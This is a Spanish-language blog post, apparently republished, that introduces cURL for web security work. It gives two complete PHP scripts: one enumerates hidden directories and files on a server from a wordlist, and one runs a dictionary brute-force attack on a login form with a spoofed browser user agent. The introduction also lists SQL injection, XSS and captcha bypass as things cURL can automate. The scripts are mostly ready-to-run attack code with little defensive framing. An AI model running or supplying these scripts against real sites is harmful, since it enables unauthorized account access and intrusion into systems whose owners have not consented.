08 junio 2012

cURL, un aliado para crear poderosas herramientas




cURL es una herramienta para transferir archivos con sintaxis URL. Así de simple podríamos definir lo que es cURL, lo cierto es que en el proceso de uso la definición es mucho más amplia. Esta biblioteca (libcurl) es multiplataforma, puede ser usada desde la terminal o en el lenguaje de programación de preferencia ya que está soportada por más de 30 lenguajes, funciona con protocolos como HTTP/S, FTP/S, Telnet, TFTP, SSH (SFTP) y otra cantidad más.
Bueno, ¿y entonces qué puedo hacer con cURL? Complementando nuestras herramientas con cURL se pueden lograr procedimientos automatizados para SQL Injection, XSS y entre otras vulnerabilidades, brute force, búsqueda de directorios y archivos, test de stress, envío y descarga de archivos, saltar captchas y una gran cantidad más de usos en los que cURL se convierte en un magnifico aliado.

Usando cURL desde la terminal

Empecemos dando una vista a cURL desde la terminal, en Mac OS X y algunas distribuciones Linux ya viene incluida a la librería, en caso de que no, se puede instalar con:
1
sudo apt-get install curl libcurl3 libcurl3-dev php5-curl
El paquete php5-curl es opcional en caso de que quieras que funcione con PHP. Para versiones Windows se puede descargar desde aquí. Si se ejecuta por ejemplo:
1
curl www.reinfocol.org
Devuelve el contenido de la página, pasaría lo mismo si se escribe la URL de un archivo de cualquier tipo, esto es útil por ejemplo en retos de esteganografía para ver el contenido de una imagen y allí mismo buscar cabeceras de otros archivos o cadenas de texto sin necesidad de descargar el fichero.

Ejemplos útiles

Buscar archivos dentro de un servidor
El objetivo del script es tomar nombres de archivos y carpetas de un archivo (wordlist) para luego verificar si existen en el servidor.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
if (defined('STDIN')) {
if (count($argv) < 2) {
echo "#######################################" .
"#  TalDirectorio www.RedInfoCol.org   #" .
"###########################################";
exit;
}
$web = $argv[1];
$archivo = $argv[2];
if (file_exists($archivo)) {
$diccionario = file($archivo);
} else {
echo "Archivo no encontrado.";
exit;
}
$fallidos = 0;
foreach ($diccionario as $recorre){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $web.$recorre);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
$estado = curl_getinfo($ch);
$respuesta=$estado['http_code'];
echo $web.$recorre. "Estado: ". $respuesta."\n";
curl_close($ch);
if ($respuesta == 301 or $respuesta == 200){
$directorios[]=$web.$recorre;
}
if ($respuesta == 404){
$fallidos++;
}
}
echo "Directorios no encontrados: ". $fallidos."\n";
echo "Directorios encontrados: ". count($directorios)."\n";
foreach ($directorios as $encontrados){
echo $encontrados."\n";
}
} else {
echo("Necesitas correr este script desde la consola.");
}
?>

Brute force a un formulario
Se realiza un ataque por diccionario a un formulario, cURL soporta varios tipos de autenticación (Basic, Digest, NTLM, Negotiate, kerberos…) de esta manera solo necesitamos cambiar un par de lineas para realizar el brute force a otros protocolos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$web = "http://web/form.php"; // URL Formulario.
$diccionario ="diccionario.txt"; // Archivo del diccionario.
$usuario = "admin"; // Usuario, si no se conoce el proceso es igual que para el password.
$stringIncorrecto = "Incorrecto"; // Cadena de texto que aparece cuando el password es incorrecto.
$ch = curl_init(); // Se inicializa cURL.
set_time_limit(0); // Ejecucion del script sin limite.
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // No mostrar contenido
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13"); // User agent.
curl_setopt ($ch, CURLOPT_POST, true); // Permite envio de datos por POST.
foreach (file($diccionario) as $password){ // Se recorre el diccionario.
curl_setopt($ch, CURLOPT_URL, $web); // Se indica la URL del formulario.
curl_setopt ($ch, CURLOPT_POSTFIELDS, "user=".urlencode($usuario)."&pass=". urlencode($password)); // Se envian por POST los parametros user y pass.
$respuesta = curl_exec($ch); // Se ejecuta el cURL y se guarda su contenido en $respuesta.
if(!strpos($respuesta, $stringIncorrecto)){ // Si se encuentra un string diferente al incorrecto.
die("El pass es: ".$password); // Termina el script y muestra el password.
}
}
curl_close($ch); // Termina cURL
?>
Artículo en actualización.


Tomado de: http://www.redinfocol.org/documentacion-curl-un-poderoso-aliado-en-la-seguridad-web

No hay comentarios: